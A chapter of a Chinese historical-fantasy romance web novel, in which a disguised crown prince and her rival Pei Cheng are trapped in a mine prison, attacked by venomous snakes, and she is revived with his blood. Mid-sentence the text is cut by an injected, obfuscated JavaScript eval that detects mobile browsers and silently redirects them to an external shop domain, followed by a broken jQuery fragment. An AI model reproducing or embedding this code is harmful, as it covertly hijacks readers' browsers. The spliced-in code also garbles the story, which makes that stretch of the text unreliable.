这哪能乐得起来!
李相筠气得牙痒痒,“我是进来救人的,不是来坐大牢的!”
裴承放开他的手脚,却不管他的抱怨,“那道声音,七郎没有听出来是谁么?”
李相筠一拳头打在棉花上,兀自憋屈了一阵,才不情不愿把话题转到正事上,“是关侍郎。”
“没错。”
“他是为关娘子上山。”
“是,或许也不是。”裴承道:“领路的对他很是恭敬,他的官职可还没我大。”
若这些山匪想要找个当官的兜底,找他这个大理寺卿岂不是更好。
“或许是因为关侍郎从前收过药材,与他们有过往来……”李相筠顿了下,又道:“他们可能早就认识。”
“我刚得到的消息,羊集县还有赤乌流寇的残部,说不定就在这些山匪里面。”裴承边说,边观察李相筠,想知道他是否知情。
卫家究竟是在为他办事,还是别有目的。
李相筠一惊,随后就低头沉吟。
在梁家堡出事之前,裴承刚说到赤乌流寇,既然宫里都能有赤乌流寇渗透的人,那么大黎其他地方更不知道还有多少。
这个认知远比她能够想到的还有可怕。
她的身边,圣人的身边,又或者当初太子的身边,会不会也有赤乌流寇的人?
“关娘子、关侍郎眼下都在这里,他们两个必然有一个与赤乌流寇关系匪浅……”李相筠蹙了下眉,马上又否认自己的想法,“关家的确是被赤乌流寇血洗,这一点羊集县里的人都可以作证,什么人会与自己的杀父仇人共处共事。”
“若还有用处,未尝不可。”裴承轻笑了下。
李相筠看裴承一眼。
她还记得金宝查出裴承的身世,父不详。
裴承是私生子,他见过自己的父亲吗?
兴许都没有见过,才能说出这样没感情的话来。
李相筠不认同地哼了声。
“若无能力,当然也不可轻举妄动。”裴承意味深长道:“相安无事,也不是坏事。”
对于这一点,李相筠其实比谁都清楚。
她用两年时间积攒力量,一年前开始为复仇而血洗长安,然而她所能够撼动的、杀掉的,其实无足轻重,那些或是听命行事的小喽啰,或是替罪羔羊,就好像前不久她刚杀掉的吕山。
她怀疑汪正阳,也怀疑裴承,但是却没有直接的线索与证据,更没有足够的力量撼动,这才不得已维系表面的“相安无事”。
现在又多了个赤乌流寇。
正元十二年,皇兄提议彻底铲除赤乌流寇,命卫家、曹家等武勋世家率军,前往各地剿匪,因为指挥得当,当年捷报不断。
为此太子名誉双收,外边都在传他有辉宗之才,安宗之勇,是大黎之幸。
李相筠的思绪跳得很快,忽然又问:“梁氏商会和梁家堡有关系吗?”
好在裴承也是个脑子转的快的人,不假思索就答道:“应是有些关系,梁家能有这样的能力建造堡坞,光靠卖药可不行。”
李相筠盘腿而坐。
“他们特意领着关侍郎过来看你,关侍郎也没有掩饰自己的声音。看来他们之间可能达成了某种协议,无论是事成之后杀你,还是留你,都让关侍郎再无退路,你到底在计划什么?难不成真的要我在这里蹲大牢?”
“说到‘杀我’时那般平静,说到自己蹲大牢时却急了,七郎真是铁石心肠。”
李相筠理直气壮,“不然呢,我们是朋友吗?”
自然不是。
裴承唇角微勾,道:“七郎还是养养精神吧,晚些说不定还有一场恶战。”
李相筠没想到裴承这个时候居然劝她休息,这哪是休息的地方,更何况她理不清这些头绪,脑袋都快炸了。
她坐直身,无知无觉啃咬着食指指关节,沉思起来。
裴承看着她的小动作,问:“七郎很焦虑?”
李相筠松开嘴,“啊”了声,低头看见自己的指节上已经有齿痕,她用拇指揉了揉,蹙眉道:“没有。”
坏毛病总是很难改掉,皇兄说这个动作让她看起来像个小女郎,总算有点娇俏的样子。
原本也不是一件坏事,毕竟她从小被当做郎君养,难得能有一点像个女郎的地方。
但自从皇兄去后,她就决定要坐稳东宫,绝不能露出破绽。
“我认识一个人,她害怕的时候也会这样。”
李相筠乜他一眼,奇怪道:“听你这语气,是你朋友?”
“听七郎的语气,似乎觉得我是没有朋友的人?”
不等李相筠回答,裴承自己又道:“不过她的确不算是我朋友,既不知道姓名,也不知道长相,甚至连生死都不知道。”
“不知生死?”
裴承道:“我倒是宁可她死了。”
“……”
李相筠道:“我信你,不是朋友的话了。”
裴承偏头看他,笑了笑,“活着未必比死了好,至少死人再无烦恼。”
李相筠道:“但是喜欢自寻烦恼的人总是更多。”
这一点裴承也没有反对,而是微笑道:“不错。”
李相筠抱膝坐到石板床的一角,蹙眉继续思索。
那些理不清的头绪在脑袋里疯狂碰撞。
——“……真不知道那么多桂花水她都用到哪里去了?”
——“关侍郎还没娶妻?”
——“裴少保以为少的是什么?”
——“鄙妹有头疾,记性不大好。”
——“石心砚掌柜与兄长相识……”
——“死者与其妻为行骗,平日里只以兄妹相称……”
——“有桂花的味道……”
——“梁掌柜,我们看了这画,是不是会被鬼杀掉啊?”
——“关侍郎和关娘子长得不像……”
李相筠揉了揉太阳穴,闭上眼睛道:“先是关娘子用画标出赤乌流寇的标志,而后买画者离奇中毒死亡,知情的关娘子中天星草毒导致失忆,马球赛世子摔马受伤,而后在研究天星草毒的郡主远在清心观的师父们也死了……关侍郎一定有问题!”
“不错,但是他究竟是那一边的?”裴承靠着石壁,闭上眼睛。
李相筠长长呼出口气,想不通。
也不知道,郡主和关娘子怎样了。
/
李竹芸先醒,扶起还昏沉的脑袋,打量四周。
地方不大,一览无遗。
两边都是未经打磨的石墙,遍地灰尘,印满凌乱的脚印,唯一看起来舒服的是她和关娘子躺的这张实木雕花床,以及床边上带有抽斗的深木柜子。
中间还有一张方桌,唯一的光线来自桌面上的油灯。
洞口没有门,只挂着遮光的毡帘,但挡不住外边看守人小声交谈的声音。
李竹芸匆匆环视一圈,马上去搭旁边关娘子的脉搏。
关娘子本就身体不好,且刚服用过她熬煮的药就经历这一番大变故,还不知道会对她造成什么影响。
本来,她也劝说关娘子改日再去拜访梁家人,但关娘子想念亲人心切。
她便提议一起去,若有什么不妥的地方,她可以随时为她施针。
不想才到梁家堡不久就遭遇袭击,她的药箱都不知道丢哪。
李竹芸将油灯取来,取下一只耳环,把银制的勾环掰直,再放在火上烧了会,才在关娘子百会穴上扎下。
关娘子眼皮不安地翻动,人还没清醒,呓语不断,不知道在挣扎说着什么。
李竹芸连忙唤她,“关娘子快醒醒……”
门口布帘忽然一掀,几人大步走进来,李竹芸惊缩到角落,一只手还不忘拉住关娘子。
一道熟悉的身影映入眼帘,她又惊又喜:“关侍郎?”
关侍郎没看她一眼,只走到床边扶起关娘子,着急怜惜道:“欣儿,欣儿你醒醒。”
关娘子总算眼皮动了动,睁开眼,她瞥了眼面前的人,就用力抽手挣扎,状若癫狂。
关侍郎只能握紧她的双臂,焦急道:“你看看阿兄,是阿兄!”
关娘子勉强定睛看了眼,先是轻轻摇了摇头,而后眉心紧蹙,苍白的唇瓣不住颤动,再用力摇了摇头,腿疯狂蹬着床板,努力把自己往后缩。
“不——不——”
她用力摇头,眼眶里满是泪水。
惊恐、彷徨、无措,复杂的情绪在她的眼底如漩涡般纠缠,无法理清。
“欣儿?……”关侍郎弯着腰,手虚伸往前,却没有再触碰她的身子,他眼睛颤了颤,声音涩然,“怎么了,不认识阿兄了吗?”
“啊——”
关欣用力捂着嘴,凄厉的哭嘶依然藏不住,让人肝胆俱颤。
关侍郎慢慢站直身。
目光从关切担忧,变得深沉而阴鸷。
/
“七郎,醒醒。”
李相筠忽地睁开眼,后背汗津津的,心口一阵猛跳,还在为梦中那些光怪陆离的画面而心惊胆战,等看清楚自己还在铜矿牢房里,才逐渐平息急促的呼吸,不由喃喃道:“我是睡着了?……”
正说着话,手里好像捏着什么沉甸甸还带点弹性的东西,她拿起来一看,发现居然是裴承的胳膊,嫌恶一甩,对旁边人怒道:“你怎么离我这般近!”
两人身子几乎是贴着,未免靠太近了。
裴承从她面前抬起另一只手,指向一方向。
李相筠莫名其妙跟着扭头看去。
那边角落里空空荡荡,什么东西也没有。
“看什么?”
裴承温声提醒:“还记得吗?七郎刚刚坐在那边。”
李相筠:“……”
她睡着以后,又自己挪位置了?!
“我对别人不这样,所以不是我的问题,而是你的问题。”李相筠撑臂挪开距离,两只眼睛炯炯瞪着裴承,就好像对方是洪水猛兽般的怪物防备。
裴承道:“可别人也不会对我这样,唯有七郎会如此,难道还不能证明我与别人都没有问题。”
李相筠一时无言以对。
裴承主动转开话题,“七郎刚刚梦见什么了?”
梦?
李相筠摸了下脸,指尖触到还未干的湿痕,她低头看自己的膝头,蹙起眉。
她梦见一个少年。
昏暗中,看不清他的脸,只能看见大致的轮廓,应该年岁不大。
他们似乎是在一间不大的石室里,因为他沉重的呼吸和水滴声不断撞到了石壁,回荡在她的耳畔。
滴答滴答——
血腥味不断蔓延。
“我就说,你逃不掉的……”
“明明是我逃跑,为什么他们只打你……为什么?为什么你不逃,难道你就宁可日复一日,年复一年被他们这样折磨吗?”
“逃,逃出去做什么?”
“做你想做的事,过你想过的生活。”
“我……没有想做的事……也没有想过的生活。“
“怎么会……没有?”
少年缓缓睁开眼,黑暗中,那双眼睛幽红如兽,“爱我的,我爱的都死了,我什么也不想要,死亡才是我的归宿,来——杀了我。”
“我怎么能……”
少年的眼睛由暗转亮,那红色犹如熊熊燃烧的火焰,挑起混乱的战意,“可你不是已经拿着刀了吗?”
“我……”手里的匕首抵在少年胸膛上。
手不断颤抖,刀尖怎么也对不准位置,他的心脏跳得好剧烈,仿佛迫不及待撞上她的刀尖,她没有办法——
两只血淋淋的手,包裹住她的手,连带着那把匕首。
少年古怪地笑道:“杀、杀了我,趁大乱逃跑,是个好主意。”
“你、你知道……你知道还……还不杀了我?”
“哭什么,你们长安人胆儿那么小,杀啊,用点力,抖什么,这是我的血,不是你的,唔——就这样,再深一点……别哭了……”
李相筠又揉了两下,眼睛都给她擦得发红。
这是梦吗?
还是她曾经真的经历过的事情?
裴承看太子在擦眼泪,问:“伤心事?”
李相筠又胡乱抹了两下脸,才道:“既知是伤心事,裴少保还问?指望我说出来让你高兴高兴?”
“我只是听人说,伤心事说出来或许会舒服点。”
“是吗?不然你先说个伤心事给我听听,看看你会不会舒服点?”
裴承道:“现在没有,不过待会若七郎不小心被蛰了或者咬了,那我兴许以后便多了个伤心事。”
“什么意思?”李相筠又竖起耳朵,“那是什么声音?笛声……”
音调短促尖锐,像是号令。
簌簌、簌簌、簌簌。
奇怪的声音,像是有什么东西爬过来。
李相筠膝行两步,趴在石板床前往下一看,头皮发麻,倏地往后退,直到背贴石壁,才惊道:“好多虫!这些是有人控制的?!”
裴承手还搭在膝盖上,坐着没有动,就好整以暇地看着李相筠满床打转,一会扫掉床上稻草,一会又伸手想去够挂墙壁上的火把。
“南巫寨毁掉之后,许多蛊师四散而逃,裴家还没能把他们全部抓住,我想,这些应该就是南巫寨当年培养出的虫蛇。”
李相筠拿不到火把,回头问他,“所以有毒吗?”
裴承道:“有,剧毒,寻常人经不住五口就要下黄泉。”
李相筠倒抽了口凉气,“那你还坐得住!……不对,我听说你也是南巫寨出来的,那么多年都没有被毒死,是不是有什么解毒的药?”
“七郎查过我的事?”
李相筠揪住他的领口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172979|145793||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“给我解药!”
裴承道:“你觉得我身上会带有那种东西吗?还有,你身后有条金环绿腰蛇,再不躲,咬你了。”
李相筠听见有蛇,脸色发白,一动不敢动。
耳畔忽起风声,就好像是蛇弹跳而起,朝她袭来,李相筠吓得魂飞魄散,哪管面前的是她死对头,埋头钻进去。
“裴承!”
裴承胸口猛地被头锤重砸,腰间也被两只手紧紧箍住,李相筠毛茸茸的发顶蹭到他的下巴,把他的脑袋,硬生生挤得抬起。
心脏错跳了一拍,奇异的感觉从心底涌起,让他忘记推开,甚至忘记呼吸。
可还没等他理清楚纷乱的思绪,下一刻,李相筠又从他怀里抬起头,慢慢扭回去。
蛇没有咬住目标,眼下盘踞在李相筠腿边立起头,嘶嘶吐着猩红的信子。
“七郎?”
李相筠把手滑下,摸到腿上绑着的匕首,“唰”得下抽出雪刃,手起刀落,金环绿腰蛇断成了两截。
裴承的心猛颤了下。
不是因为蛇死的惨烈,而是因为李相筠的动作是那么果断狠厉。
他总于明白为什么自己的视线难以离开他,因为李相筠很有意思。
他是个矛盾体,有时候好像很怕死,有时候却好像很想快点去死。
腥血四溅,虫蛇皆疯狂起来。
李相筠见状把裴承往里面一推,“别碍事!”
一条蛇的方向是冲着裴承的,李相筠余光瞥见,下意识就抬手挥刀,哪知那蛇竟转了方向,闪电般张嘴咬住她的手背。
李相筠立刻把手往岩壁上一甩,把蛇重重砸上去,撞得那蛇头破血流,软软滑了下来。
可也迟了,她手背上出现两个小小的血窟窿,还在往外冒着血。
裴承搁在膝盖上的手指蜷缩了下,“七郎不是巴不得我去死,为什么还要救我?”
李相筠皱着眉头,道:“少往自己脸上贴金了,我只不过是顺手而已,才不是特意要救你!”
裴承又低头看,“手这样抖,怎么握得紧刀?怕蛇?”
“这可是毒蛇!”李相筠咬牙道,把他又往后一推,皱眉喝道:“帮不上忙就别碍手碍脚。”
裴承被李相筠一凶,真老实地把背紧贴在了岩壁上。
小太子摆了个后脑勺给他,好像连翘起来的每一根发丝都透着倔强。
他不禁想起,飞雨查到的、高勇酒后吐露的,那些太子的事。
“家主,太子身边的朋友并不多,大部分都是酒桌上的酒肉之友,能谈得上深交的没几个,他连近身伺候都人都不要,过得哪像是个太子。”
“太子的亲信?邓谦虽然一直跟在他身边,但据我所知,很多事情,太子宁可交给执金卫下边的执影卫去办,我还听说,有时候太子会自己去。殿下是个要强的人,我还没见过他害怕畏缩的样子呢!该怎么形容?……就好像,就好像个莽撞的牛犊子!他是太子啊,一人之下万人之上,为什么要这样呢?”
是啊,为什么要这样?
他好不容易拿到储君之位,难道不该享受权利带来的便利和风光,不该前拥后簇,使奴唤婢。
裴承扯住李相筠胳膊,去看他手背上的伤口,“蛇毒通过血液,很快就会流到全身,到时候殿下会动弹不得,彻底沦为它们的食物。”
李相筠甩开他的手,“那就更不能坐以待毙了。”
“殿下没有问过我,有没有办法。”
“你有办法……?”李相筠正说着,手里的匕首哐当掉到了石板上,她的手颤抖着,已经拿不稳武器。
糟了,是蛇毒。
比她想象中发作还要快。
“裴、裴承,拿信号弹。”话没说完,她人已朝下倒去。
完蛋,完全没有力气撑着,她该不会把自己鼻子砸断吧?
好在一只手及时扶住她,又让她轻靠到墙壁上。
“裴、裴承……”
“你中毒了,若没有解药,很快就会死。”
李相筠眼睫低垂,呼吸越发艰难,导致她胸腔起伏更加频繁。
“已经说不出话来了?”裴承抬起太子的下巴,检查他是不是昏过去了。
李相筠缓了缓呼吸,努力睁开眼,“它们、它们为什么不袭击你?”
“你不是查过我的事吗?在南巫寨多的是这些毒物,它们在我眼中就和殿下养的大鹅一样温顺。”
李相筠瞪圆眼睛,争辩:“鹅比它们可爱!”
“身子都麻痹了,人还这么有精神。”裴承都想笑了,“殿下还真是乐观。”
李相筠用尽力气呼吸,连声音都变得很轻:“我……又不是非要活着不可。”
能活就活,活不了就死。
她从畏惧死亡到无所畏惧,只因为在另一端有皇兄在。
有皇兄在的地方,她一点也不会害怕,甚至……还有些向往。
毕竟活着才是最累的,死是一种解脱。
就像“梦”中那少年说的,死才是“我”的归宿。
每个人都会死,死亡才是人唯一仅有且不会被剥夺的归宿。
李相筠眼皮直往下垂,很快就连尽在眼前的裴承都有些看不清楚了。
他好像被拓印出十几个相同的影子,在她眼前摇晃,甚至她还看见裴承的眼睛变得幽红,就好像……两颗被灿阳照亮的红宝石。
“普通人对蛇毒的耐性就到这了。”
李相筠眉间紧皱,却没有搭理他,不知不觉已经昏厥过去。
裴承揉了揉食指,抵在下颌尖牙上用力一压,食指上顷刻冒出一颗浑圆鲜艳的血珠。
“也不知道你能不能受得住这解药……不过受不住也得受,我身上可没有别的解药了……”
说给一个昏迷的人听,其实就没有打算听人的意见。
话音刚落,裴承用食指抵开李相筠微合的唇瓣,因为主人的昏厥,齿关也形同虚设,轻易被破开,食指上的血蹭到唇瓣上,顷刻染红唇肉,仿佛抹上一层艳丽的胭脂。
“唔……”
柔软温热的舌忽地抬起,抵住他的手指,不让他再往里面推进。
但舌头这样的软肉是如此没有攻击性,即便用足力气,对入侵者而言毫无威胁性,甚至……
还有点怪。
就好像被舔了一下。
裴承一只手卡住李相筠的下巴抬起,因而目光自然而然落在那张脸上。
浓密的睫毛不安地颤动,鼻息也变得急促,而那两瓣唇正挤压着,想把他的手指吐出去。
又软又湿。
他的手指好痒。
莫非因为克制蛊虫的药吃得太多,如今反噬回来变得荒唐。
这事不能想,越想越口干舌燥。
他重新卡主李相筠的下颌,拇指重重擦过两片沾了血压的唇瓣。
怎么办,好想咬。